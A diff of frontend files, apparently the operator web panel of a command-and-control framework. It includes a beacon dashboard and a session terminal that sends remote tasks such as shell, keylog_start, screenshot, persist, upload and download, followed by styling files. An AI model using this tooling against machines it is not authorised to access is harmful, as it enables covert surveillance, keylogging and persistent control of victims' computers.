<span className={styles.countValue}>{beacons.length}</span> beacon
|
||||
{beacons.length !== 1 ? 's' : ''}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{beacons.length === 0 ? (
|
||||
<EmptyState />
|
||||
) : (
|
||||
<div className={styles.tableWrap}>
|
||||
<table className={styles.table}>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>ID</th>
|
||||
<th>Hostname</th>
|
||||
<th>OS</th>
|
||||
<th>User</th>
|
||||
<th>IP</th>
|
||||
<th>Last Seen</th>
|
||||
<th>Status</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{beacons.map((b) => (
|
||||
<BeaconRow
|
||||
key={b.id}
|
||||
beacon={b}
|
||||
onClick={() => navigate(ROUTES.SESSION(b.id))}
|
||||
/>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
Component.displayName = 'Dashboard'
|
||||
|
|
@ -0,0 +1,318 @@
|
|||
// ===========================
|
||||
// © AngelaMos | 2026
|
||||
// pages/session/index.tsx
|
||||
// ===========================
|
||||
|
||||
import { useCallback, useEffect, useRef, useState } from 'react'
|
||||
import { LuArrowLeft, LuCamera, LuCircle, LuCpu, LuList } from 'react-icons/lu'
|
||||
import { Link, useParams } from 'react-router-dom'
|
||||
import { ROUTES } from '@/config'
|
||||
import type { CommandType, TaskResult } from '@/core/types'
|
||||
import {
|
||||
useBeacon,
|
||||
useOperatorSocket,
|
||||
useTaskIdMap,
|
||||
useTaskResults,
|
||||
} from '@/core/ws'
|
||||
import styles from './session.module.scss'
|
||||
|
||||
const COMMANDS: CommandType[] = [
|
||||
'shell',
|
||||
'sysinfo',
|
||||
'proclist',
|
||||
'upload',
|
||||
'download',
|
||||
'screenshot',
|
||||
'keylog_start',
|
||||
'keylog_stop',
|
||||
'persist',
|
||||
'sleep',
|
||||
]
|
||||
|
||||
interface TerminalEntry {
|
||||
command: string
|
||||
args: string | undefined
|
||||
result: TaskResult | null
|
||||
taskId: string
|
||||
}
|
||||
|
||||
function parseInput(raw: string): { command: CommandType; args?: string } | null {
|
||||
const trimmed = raw.trim()
|
||||
if (trimmed.length === 0) return null
|
||||
|
||||
const spaceIdx = trimmed.indexOf(' ')
|
||||
const cmd = spaceIdx === -1 ? trimmed : trimmed.slice(0, spaceIdx)
|
||||
const args = spaceIdx === -1 ? undefined : trimmed.slice(spaceIdx + 1).trim()
|
||||
|
||||
if (!COMMANDS.includes(cmd as CommandType)) return null
|
||||
return { command: cmd as CommandType, args: args || undefined }
|
||||
}
|
||||
|
||||
function isOnline(lastSeen: string): boolean {
|
||||
return Date.now() - new Date(lastSeen).getTime() < 30_000
|
||||
}
|
||||
|
||||
function QuickActions({
|
||||
onSend,
|
||||
}: {
|
||||
onSend: (cmd: CommandType) => void
|
||||
}): React.ReactElement {
|
||||
return (
|
||||
<div className={styles.quickActions}>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSend('sysinfo')}
|
||||
className={styles.quickBtn}
|
||||
>
|
||||
<LuCpu />
|
||||
sysinfo
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSend('proclist')}
|
||||
className={styles.quickBtn}
|
||||
>
|
||||
<LuList />
|
||||
proclist
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSend('screenshot')}
|
||||
className={styles.quickBtn}
|
||||
>
|
||||
<LuCamera />
|
||||
screenshot
|
||||
</button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function TerminalOutput({
|
||||
entries,
|
||||
}: {
|
||||
entries: TerminalEntry[]
|
||||
}): React.ReactElement {
|
||||
const scrollRef = useRef<HTMLDivElement>(null)
|
||||
|
||||
// biome-ignore lint/correctness/useExhaustiveDependencies: entries prop triggers scroll-to-bottom on new data
|
||||
useEffect(() => {
|
||||
scrollRef.current?.scrollTo({
|
||||
top: scrollRef.current.scrollHeight,
|
||||
behavior: 'smooth',
|
||||
})
|
||||
}, [entries])
|
||||
|
||||
return (
|
||||
<div className={styles.terminal} ref={scrollRef}>
|
||||
{entries.length === 0 && (
|
||||
<p className={styles.terminalHint}>
|
||||
Type a command below or use the quick actions. Try: shell whoami
|
||||
</p>
|
||||
)}
|
||||
{entries.map((entry) => (
|
||||
<div key={entry.taskId} className={styles.entry}>
|
||||
<div className={styles.entryCmd}>
|
||||
{'> '}
|
||||
{entry.command}
|
||||
{entry.args ? ` ${entry.args}` : ''}
|
||||
</div>
|
||||
{entry.result === null ? (
|
||||
<div className={styles.entryPending}>awaiting response...</div>
|
||||
) : entry.result.error ? (
|
||||
<div className={styles.entryError}>{entry.result.error}</div>
|
||||
) : entry.command === 'screenshot' && entry.result.output ? (
|
||||
<img
|
||||
src={`data:image/png;base64,${entry.result.output}`}
|
||||
alt="Screenshot"
|
||||
className={styles.screenshot}
|
||||
/>
|
||||
) : (
|
||||
<pre className={styles.entryOutput}>{entry.result.output}</pre>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function Component(): React.ReactElement {
|
||||
const { id } = useParams<{ id: string }>()
|
||||
const beacon = useBeacon(id ?? '')
|
||||
const { sendTask } = useOperatorSocket()
|
||||
const taskResults = useTaskResults()
|
||||
const taskIdMap = useTaskIdMap()
|
||||
const [input, setInput] = useState('')
|
||||
const [entries, setEntries] = useState<TerminalEntry[]>([])
|
||||
const [history, setHistory] = useState<string[]>([])
|
||||
const [historyIdx, setHistoryIdx] = useState(-1)
|
||||
const inputRef = useRef<HTMLInputElement>(null)
|
||||
const [suggestions, setSuggestions] = useState<CommandType[]>([])
|
||||
|
||||
useEffect(() => {
|
||||
setEntries((prev) =>
|
||||
prev.map((entry) => {
|
||||
if (entry.result !== null) return entry
|
||||
const realId = taskIdMap[entry.taskId]
|
||||
if (!realId) return entry
|
||||
const match = taskResults.find((r) => r.task_id === realId)
|
||||
if (match) return { ...entry, result: match }
|
||||
return entry
|
||||
})
|
||||
)
|
||||
}, [taskResults, taskIdMap])
|
||||
|
||||
const handleSend = useCallback(
|
||||
(command: CommandType, args?: string) => {
|
||||
if (!id) return
|
||||
const taskId = `local-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`
|
||||
setEntries((prev) => [...prev, { command, args, result: null, taskId }])
|
||||
sendTask(id, command, args, taskId)
|
||||
},
|
||||
[id, sendTask]
|
||||
)
|
||||
|
||||
const handleSubmit = useCallback(() => {
|
||||
const parsed = parseInput(input)
|
||||
if (parsed === null) return
|
||||
|
||||
handleSend(parsed.command, parsed.args)
|
||||
setHistory((prev) => [input, ...prev])
|
||||
setHistoryIdx(-1)
|
||||
setInput('')
|
||||
setSuggestions([])
|
||||
}, [input, handleSend])
|
||||
|
||||
const handleKeyDown = useCallback(
|
||||
(e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') {
|
||||
handleSubmit()
|
||||
return
|
||||
}
|
||||
|
||||
if (e.key === 'ArrowUp') {
|
||||
e.preventDefault()
|
||||
if (history.length === 0) return
|
||||
const next = Math.min(historyIdx + 1, history.length - 1)
|
||||
setHistoryIdx(next)
|
||||
setInput(history[next])
|
||||
return
|
||||
}
|
||||
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault()
|
||||
if (historyIdx <= 0) {
|
||||
setHistoryIdx(-1)
|
||||
setInput('')
|
||||
return
|
||||
}
|
||||
const next = historyIdx - 1
|
||||
setHistoryIdx(next)
|
||||
setInput(history[next])
|
||||
return
|
||||
}
|
||||
|
||||
if (e.key === 'Tab' && suggestions.length > 0) {
|
||||
e.preventDefault()
|
||||
setInput(suggestions[0])
|
||||
setSuggestions([])
|
||||
}
|
||||
},
|
||||
[handleSubmit, history, historyIdx, suggestions]
|
||||
)
|
||||
|
||||
const handleInputChange = useCallback(
|
||||
(e: React.ChangeEvent<HTMLInputElement>) => {
|
||||
const val = e.target.value
|
||||
setInput(val)
|
||||
setHistoryIdx(-1)
|
||||
|
||||
const cmd = val.split(' ')[0].toLowerCase()
|
||||
if (cmd.length > 0 && !val.includes(' ')) {
|
||||
setSuggestions(COMMANDS.filter((c) => c.startsWith(cmd) && c !== cmd))
|
||||
} else {
|
||||
setSuggestions([])
|
||||
}
|
||||
},
|
||||
[]
|
||||
)
|
||||
|
||||
if (!beacon) {
|
||||
return (
|
||||
<div className={styles.page}>
|
||||
<Link to={ROUTES.DASHBOARD} className={styles.backLink}>
|
||||
<LuArrowLeft />
|
||||
Back to Dashboard
|
||||
</Link>
|
||||
<p className={styles.notFound}>Beacon not found</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
const online = beacon.active && isOnline(beacon.last_seen)
|
||||
|
||||
return (
|
||||
<div className={styles.page}>
|
||||
<Link to={ROUTES.DASHBOARD} className={styles.backLink}>
|
||||
<LuArrowLeft />
|
||||
Back to Dashboard
|
||||
</Link>
|
||||
|
||||
<div className={styles.header}>
|
||||
<div className={styles.headerInfo}>
|
||||
<h2 className={styles.title}>{beacon.hostname}</h2>
|
||||
<span className={styles.meta}>
|
||||
{beacon.username}@{beacon.internal_ip} | {beacon.os} | {beacon.arch}
|
||||
</span>
|
||||
</div>
|
||||
<span
|
||||
className={`${styles.statusDot} ${online ? styles.online : styles.offline}`}
|
||||
role="img"
|
||||
aria-label={online ? 'Online' : 'Offline'}
|
||||
>
|
||||
<LuCircle />
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<QuickActions onSend={handleSend} />
|
||||
|
||||
<TerminalOutput entries={entries} />
|
||||
|
||||
<div className={styles.inputArea}>
|
||||
{suggestions.length > 0 && (
|
||||
<div className={styles.suggestions}>
|
||||
{suggestions.map((s) => (
|
||||
<button
|
||||
key={s}
|
||||
type="button"
|
||||
className={styles.suggestion}
|
||||
onClick={() => {
|
||||
setInput(s)
|
||||
setSuggestions([])
|
||||
inputRef.current?.focus()
|
||||
}}
|
||||
>
|
||||
{s}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<div className={styles.inputRow}>
|
||||
<span className={styles.prompt}>{'>'}</span>
|
||||
<input
|
||||
ref={inputRef}
|
||||
type="text"
|
||||
value={input}
|
||||
onChange={handleInputChange}
|
||||
onKeyDown={handleKeyDown}
|
||||
className={styles.input}
|
||||
placeholder="shell whoami"
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
Component.displayName = 'Session'
|
||||
|
|
@ -0,0 +1,243 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// session.module.scss
|
||||
// ===================
|
||||
|
||||
@use '@/styles' as *;
|
||||
|
||||
.page {
|
||||
min-height: calc(100vh - 56px);
|
||||
padding: $space-4 $space-6;
|
||||
@include flex-column;
|
||||
gap: $space-3;
|
||||
}
|
||||
|
||||
.backLink {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: $space-2;
|
||||
font-size: $font-size-sm;
|
||||
color: $text-lighter;
|
||||
@include transition-fast;
|
||||
|
||||
svg {
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
color: $accent-green;
|
||||
}
|
||||
|
||||
@include hover {
|
||||
color: $text-default;
|
||||
}
|
||||
}
|
||||
|
||||
.header {
|
||||
@include flex-between;
|
||||
padding: $space-3 $space-4;
|
||||
background: $bg-surface-100;
|
||||
border: 1px solid $border-default;
|
||||
border-radius: $radius-lg;
|
||||
}
|
||||
|
||||
.headerInfo {
|
||||
@include flex-column;
|
||||
gap: $space-1;
|
||||
}
|
||||
|
||||
.title {
|
||||
font-size: $font-size-lg;
|
||||
font-weight: $font-weight-semibold;
|
||||
color: $accent-green;
|
||||
}
|
||||
|
||||
.meta {
|
||||
font-size: $font-size-xs;
|
||||
font-family: $font-mono;
|
||||
color: $text-lighter;
|
||||
}
|
||||
|
||||
.statusDot {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
|
||||
svg {
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
fill: currentColor;
|
||||
stroke: currentColor;
|
||||
}
|
||||
|
||||
&.online {
|
||||
color: $accent-green;
|
||||
}
|
||||
|
||||
&.offline {
|
||||
color: $accent-red;
|
||||
}
|
||||
}
|
||||
|
||||
.quickActions {
|
||||
display: flex;
|
||||
gap: $space-2;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.quickBtn {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: $space-1-5;
|
||||
padding: $space-1-5 $space-3;
|
||||
font-size: $font-size-xs;
|
||||
font-family: $font-mono;
|
||||
color: $text-light;
|
||||
background: $bg-surface-100;
|
||||
border: 1px solid $border-default;
|
||||
border-radius: $radius-md;
|
||||
@include transition-fast;
|
||||
|
||||
svg {
|
||||
width: 13px;
|
||||
height: 13px;
|
||||
color: $accent-green;
|
||||
}
|
||||
|
||||
@include hover {
|
||||
background: $bg-surface-200;
|
||||
color: $text-default;
|
||||
border-color: $border-strong;
|
||||
}
|
||||
}
|
||||
|
||||
.terminal {
|
||||
flex: 1;
|
||||
min-height: 300px;
|
||||
max-height: calc(100vh - 360px);
|
||||
overflow-y: auto;
|
||||
padding: $space-4;
|
||||
background: $terminal-bg;
|
||||
border: 1px solid $border-default;
|
||||
border-radius: $radius-lg;
|
||||
font-family: $font-mono;
|
||||
font-size: $font-size-sm;
|
||||
line-height: $line-height-relaxed;
|
||||
}
|
||||
|
||||
.terminalHint {
|
||||
color: $text-muted;
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.entry {
|
||||
margin-bottom: $space-4;
|
||||
|
||||
&:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.entryCmd {
|
||||
color: $accent-blue;
|
||||
font-weight: $font-weight-medium;
|
||||
margin-bottom: $space-1;
|
||||
}
|
||||
|
||||
.entryPending {
|
||||
color: $accent-yellow;
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.entryError {
|
||||
color: $accent-red;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.entryOutput {
|
||||
color: $text-light;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.screenshot {
|
||||
max-width: 100%;
|
||||
border-radius: $radius-md;
|
||||
margin-top: $space-2;
|
||||
border: 1px solid $border-default;
|
||||
}
|
||||
|
||||
.inputArea {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.suggestions {
|
||||
position: absolute;
|
||||
bottom: 100%;
|
||||
left: 0;
|
||||
display: flex;
|
||||
gap: $space-1;
|
||||
padding: $space-2;
|
||||
margin-bottom: $space-1;
|
||||
background: $bg-surface-200;
|
||||
border: 1px solid $border-default;
|
||||
border-radius: $radius-md;
|
||||
}
|
||||
|
||||
.suggestion {
|
||||
padding: $space-1 $space-2;
|
||||
font-size: $font-size-xs;
|
||||
font-family: $font-mono;
|
||||
color: $text-light;
|
||||
background: $bg-surface-100;
|
||||
border-radius: $radius-sm;
|
||||
@include transition-fast;
|
||||
|
||||
@include hover {
|
||||
background: $bg-surface-300;
|
||||
color: $text-default;
|
||||
}
|
||||
}
|
||||
|
||||
.inputRow {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: $space-2;
|
||||
padding: $space-2 $space-3;
|
||||
background: $terminal-bg;
|
||||
border: 1px solid $border-default;
|
||||
border-radius: $radius-md;
|
||||
|
||||
&:focus-within {
|
||||
border-color: $border-strong;
|
||||
}
|
||||
}
|
||||
|
||||
.prompt {
|
||||
color: $accent-green;
|
||||
font-family: $font-mono;
|
||||
font-size: $font-size-sm;
|
||||
font-weight: $font-weight-medium;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.input {
|
||||
flex: 1;
|
||||
background: transparent;
|
||||
border: none;
|
||||
outline: none;
|
||||
color: $text-default;
|
||||
font-family: $font-mono;
|
||||
font-size: $font-size-sm;
|
||||
caret-color: $accent-green;
|
||||
|
||||
&::placeholder {
|
||||
color: $text-muted;
|
||||
}
|
||||
}
|
||||
|
||||
.notFound {
|
||||
font-size: $font-size-sm;
|
||||
color: $text-muted;
|
||||
@include flex-center;
|
||||
height: 50vh;
|
||||
}
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// styles.scss
|
||||
// ===================
|
||||
|
||||
@forward 'styles/tokens';
|
||||
@forward 'styles/fonts';
|
||||
@forward 'styles/mixins';
|
||||
|
||||
@use 'styles/reset';
|
||||
@use 'styles/tokens' as *;
|
||||
@use 'styles/fonts' as *;
|
||||
|
||||
#root {
|
||||
min-height: 100vh;
|
||||
min-height: 100dvh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
background: $bg-default;
|
||||
}
|
||||
|
||||
.app {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
background: $bg-default;
|
||||
color: $text-default;
|
||||
font-family: $font-sans;
|
||||
}
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// _fonts.scss
|
||||
// ===================
|
||||
|
||||
@use 'tokens' as *;
|
||||
|
||||
$font-sans: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Inter', Roboto,
|
||||
'Helvetica Neue', Arial, sans-serif;
|
||||
|
||||
$font-mono: ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas,
|
||||
'Liberation Mono', monospace;
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// _index.scss
|
||||
// ===================
|
||||
|
||||
@forward 'tokens';
|
||||
@forward 'fonts';
|
||||
@forward 'mixins';
|
||||
|
|
@ -0,0 +1,120 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// _mixins.scss
|
||||
// ===================
|
||||
|
||||
@use 'sass:map';
|
||||
@use 'sass:list';
|
||||
@use 'tokens' as *;
|
||||
|
||||
$breakpoints: (
|
||||
'xs': $breakpoint-xs,
|
||||
'sm': $breakpoint-sm,
|
||||
'md': $breakpoint-md,
|
||||
'lg': $breakpoint-lg,
|
||||
'xl': $breakpoint-xl,
|
||||
'2xl': $breakpoint-2xl,
|
||||
);
|
||||
|
||||
@mixin breakpoint-up($size) {
|
||||
@media (min-width: map.get($breakpoints, $size)) {
|
||||
@content;
|
||||
}
|
||||
}
|
||||
|
||||
@mixin breakpoint-down($size) {
|
||||
@media (width < map.get($breakpoints, $size)) {
|
||||
@content;
|
||||
}
|
||||
}
|
||||
|
||||
@mixin flex-center {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
@mixin flex-between {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
@mixin flex-column {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
@mixin flex-column-center {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
@mixin sr-only {
|
||||
position: absolute;
|
||||
width: 1px;
|
||||
height: 1px;
|
||||
margin: -1px;
|
||||
padding: 0;
|
||||
overflow: hidden;
|
||||
clip: rect(0 0 0 0);
|
||||
clip-path: inset(50%);
|
||||
white-space: nowrap;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
@mixin truncate {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
@mixin line-clamp($lines: 2) {
|
||||
display: -webkit-box;
|
||||
-webkit-line-clamp: #{$lines};
|
||||
-webkit-box-orient: vertical;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
@mixin transition-fast {
|
||||
transition-property: background-color, border-color, color, opacity;
|
||||
transition-duration: $duration-fast;
|
||||
transition-timing-function: $ease-out;
|
||||
}
|
||||
|
||||
@mixin transition-normal {
|
||||
transition-property: background-color, border-color, color, opacity;
|
||||
transition-duration: $duration-normal;
|
||||
transition-timing-function: $ease-out;
|
||||
}
|
||||
|
||||
@mixin absolute-fill {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
}
|
||||
|
||||
@mixin absolute-center {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
}
|
||||
|
||||
@mixin hover {
|
||||
@media (hover: hover) and (pointer: fine) {
|
||||
&:hover {
|
||||
@content;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@mixin hide-scrollbar {
|
||||
-ms-overflow-style: none;
|
||||
scrollbar-width: none;
|
||||
|
||||
&::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,196 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// _reset.scss
|
||||
// ===================
|
||||
|
||||
@use 'tokens' as *;
|
||||
@use 'fonts' as *;
|
||||
|
||||
*,
|
||||
*::before,
|
||||
*::after {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
|
||||
html {
|
||||
font-size: 16px;
|
||||
text-size-adjust: none;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
html {
|
||||
interpolate-size: allow-keywords;
|
||||
scroll-behavior: smooth;
|
||||
}
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100vh;
|
||||
min-height: 100dvh;
|
||||
line-height: $line-height-normal;
|
||||
text-rendering: optimizeLegibility;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
overflow-x: hidden;
|
||||
background-color: $bg-default;
|
||||
color: $text-default;
|
||||
font-family: $font-sans;
|
||||
}
|
||||
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5,
|
||||
h6 {
|
||||
line-height: $line-height-tight;
|
||||
text-wrap: balance;
|
||||
overflow-wrap: break-word;
|
||||
font-weight: $font-weight-semibold;
|
||||
}
|
||||
|
||||
p {
|
||||
text-wrap: pretty;
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
ul,
|
||||
ol {
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
a {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
img,
|
||||
picture,
|
||||
video,
|
||||
canvas,
|
||||
svg {
|
||||
display: block;
|
||||
max-width: 100%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
input,
|
||||
button,
|
||||
textarea,
|
||||
select {
|
||||
font: inherit;
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
input[type='text'],
|
||||
input[type='email'],
|
||||
input[type='password'],
|
||||
input[type='search'],
|
||||
input[type='number'],
|
||||
input[type='tel'],
|
||||
input[type='url'],
|
||||
textarea,
|
||||
select {
|
||||
font-size: $font-size-sm;
|
||||
appearance: none;
|
||||
}
|
||||
|
||||
button {
|
||||
background: none;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
text-align: inherit;
|
||||
font-family: inherit;
|
||||
}
|
||||
|
||||
fieldset {
|
||||
border: none;
|
||||
}
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
textarea:not([rows]) {
|
||||
min-height: 10em;
|
||||
}
|
||||
|
||||
:target {
|
||||
scroll-margin-block: 5ex;
|
||||
}
|
||||
|
||||
:focus-visible {
|
||||
outline: 2px solid $border-strong;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
|
||||
:focus:not(:focus-visible) {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
[hidden] {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
[disabled] {
|
||||
cursor: not-allowed;
|
||||
opacity: 0.5;
|
||||
}
|
||||
|
||||
dialog {
|
||||
padding: 0;
|
||||
border: none;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
summary {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
*,
|
||||
*::before,
|
||||
*::after {
|
||||
animation-duration: 0.01ms !important;
|
||||
animation-iteration-count: 1 !important;
|
||||
transition-duration: 0.01ms !important;
|
||||
scroll-behavior: auto !important;
|
||||
}
|
||||
}
|
||||
|
||||
@supports (padding: max(0px)) {
|
||||
body {
|
||||
padding-left: max(0px, env(safe-area-inset-left));
|
||||
padding-right: max(0px, env(safe-area-inset-right));
|
||||
}
|
||||
}
|
||||
|
||||
::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: $border-default;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb:hover {
|
||||
background: $border-strong;
|
||||
}
|
||||
|
||||
::selection {
|
||||
background-color: $bg-selection;
|
||||
}
|
||||
|
|
@ -0,0 +1,182 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// _tokens.scss
|
||||
// ===================
|
||||
|
||||
// ============================================================================
|
||||
// SPACING (8px base system)
|
||||
// ============================================================================
|
||||
$space-0: 0;
|
||||
$space-px: 1px;
|
||||
$space-0-5: 0.125rem;
|
||||
$space-1: 0.25rem;
|
||||
$space-1-5: 0.375rem;
|
||||
$space-2: 0.5rem;
|
||||
$space-2-5: 0.625rem;
|
||||
$space-3: 0.75rem;
|
||||
$space-3-5: 0.875rem;
|
||||
$space-4: 1rem;
|
||||
$space-5: 1.25rem;
|
||||
$space-6: 1.5rem;
|
||||
$space-7: 1.75rem;
|
||||
$space-8: 2rem;
|
||||
$space-9: 2.25rem;
|
||||
$space-10: 2.5rem;
|
||||
$space-11: 2.75rem;
|
||||
$space-12: 3rem;
|
||||
$space-14: 3.5rem;
|
||||
$space-16: 4rem;
|
||||
$space-20: 5rem;
|
||||
$space-24: 6rem;
|
||||
$space-28: 7rem;
|
||||
$space-32: 8rem;
|
||||
|
||||
// ============================================================================
|
||||
// TYPOGRAPHY SCALE
|
||||
// ============================================================================
|
||||
$font-size-3xs: 0.625rem;
|
||||
$font-size-2xs: 0.6875rem;
|
||||
$font-size-xs: 0.75rem;
|
||||
$font-size-sm: 0.875rem;
|
||||
$font-size-base: 1rem;
|
||||
$font-size-lg: 1.125rem;
|
||||
$font-size-xl: 1.25rem;
|
||||
$font-size-2xl: 1.5rem;
|
||||
$font-size-3xl: 1.875rem;
|
||||
$font-size-4xl: 2.25rem;
|
||||
$font-size-5xl: 3rem;
|
||||
|
||||
// ============================================================================
|
||||
// FONT WEIGHTS
|
||||
// ============================================================================
|
||||
$font-weight-regular: 400;
|
||||
$font-weight-medium: 500;
|
||||
$font-weight-semibold: 600;
|
||||
|
||||
// ============================================================================
|
||||
// LINE HEIGHTS
|
||||
// ============================================================================
|
||||
$line-height-none: 1;
|
||||
$line-height-tight: 1.2;
|
||||
$line-height-snug: 1.375;
|
||||
$line-height-normal: 1.5;
|
||||
$line-height-relaxed: 1.625;
|
||||
|
||||
// ============================================================================
|
||||
// LETTER SPACING
|
||||
// ============================================================================
|
||||
$tracking-tighter: -0.05em;
|
||||
$tracking-tight: -0.025em;
|
||||
$tracking-normal: 0;
|
||||
$tracking-wide: 0.025em;
|
||||
$tracking-wider: 0.05em;
|
||||
|
||||
// ============================================================================
|
||||
// COLORS
|
||||
// ============================================================================
|
||||
$white: hsl(0, 0%, 100%);
|
||||
$black: hsl(0, 0%, 0%);
|
||||
|
||||
// Auth
|
||||
$bg-page: hsl(0, 0%, 10.5%);
|
||||
$bg-card: hsl(0, 0%, 6.2%);
|
||||
|
||||
// Shell (sidebar/header vs content)
|
||||
$bg-shell-base: hsl(0, 0%, 6.9%);
|
||||
$bg-shell-dot: hsl(0, 0%, 11.8%);
|
||||
|
||||
// Main content area
|
||||
$bg-content-base: hsl(0, 0%, 5.4%);
|
||||
$bg-content-dot: hsl(0, 0%, 9.6%);
|
||||
|
||||
$bg-default: hsl(0, 0%, 7.1%);
|
||||
$bg-alternative: hsl(0, 0%, 5.9%);
|
||||
$bg-surface-75: hsl(0, 0%, 9%);
|
||||
$bg-surface-100: hsl(0, 0%, 12.2%);
|
||||
$bg-surface-200: hsl(0, 0%, 14.1%);
|
||||
$bg-surface-300: hsl(0, 0%, 16.1%);
|
||||
$bg-control: hsl(0, 0%, 10%);
|
||||
$bg-selection: hsl(0, 0%, 19.2%);
|
||||
$bg-overlay: hsl(0, 0%, 14.1%);
|
||||
$bg-overlay-hover: hsl(0, 0%, 18%);
|
||||
|
||||
$border-muted: hsl(0, 0%, 11.1%);
|
||||
$border-default: hsl(0, 0%, 18%);
|
||||
$border-strong: hsl(0, 0%, 22.4%);
|
||||
$border-stronger: hsl(0, 0%, 27.1%);
|
||||
$border-control: hsl(0, 0%, 22.4%);
|
||||
|
||||
$text-default: hsl(0, 0%, 98%);
|
||||
$text-light: hsl(0, 0%, 70.6%);
|
||||
$text-lighter: hsl(0, 0%, 53.7%);
|
||||
$text-muted: hsl(0, 0%, 30.2%);
|
||||
|
||||
$error-default: hsl(0, 72%, 51%);
|
||||
$error-light: hsl(0, 72%, 65%);
|
||||
|
||||
$accent-green: hsl(120, 60%, 50%);
|
||||
